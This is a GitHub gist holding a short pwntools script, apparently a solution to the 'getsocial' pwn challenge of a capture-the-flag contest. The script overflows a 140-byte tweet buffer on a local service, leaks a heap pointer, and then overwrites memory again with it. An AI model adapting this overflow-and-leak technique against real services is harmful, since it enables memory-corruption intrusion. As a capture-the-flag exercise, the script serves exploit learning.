Skip to content

Instantly share code, notes, and snippets.

@sudhackar

sudhackar/getsocial.py

Created March 25, 2017 15:58
Show Gist options
  • Save sudhackar/14dbc4bfa2292e541355e11d0b860ca9 to your computer and use it in GitHub Desktop.
Save sudhackar/14dbc4bfa2292e541355e11d0b860ca9 to your computer and use it in GitHub Desktop.
Download ZIP
[MITCTF] pwn-getsocial
Raw
getsocial.py
from pwn import *
s = remote('127.0.0.1',5000)
s.recvuntil('command:')
s.sendline('2')
s.recvuntil('overwrite?')
s.sendline('2')
s.recvuntil('tweet:')
s.sendline('A'*140+p32(0x804918c))
s.recvuntil('command:')
s.sendline('0')
s.recvuntil('Tweet 3: ')
leak = s.recv(4)
print "[+]head_ptr : ",hex(u32(leak))
s.recvuntil('command:')
s.sendline('2')
s.recvuntil('overwrite?')
s.sendline('2')
s.recvuntil('tweet:')
s.sendline('A'*140+p32(u32(leak)))
s.recvuntil('command:')
s.sendline('1')
print s.recvline()
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment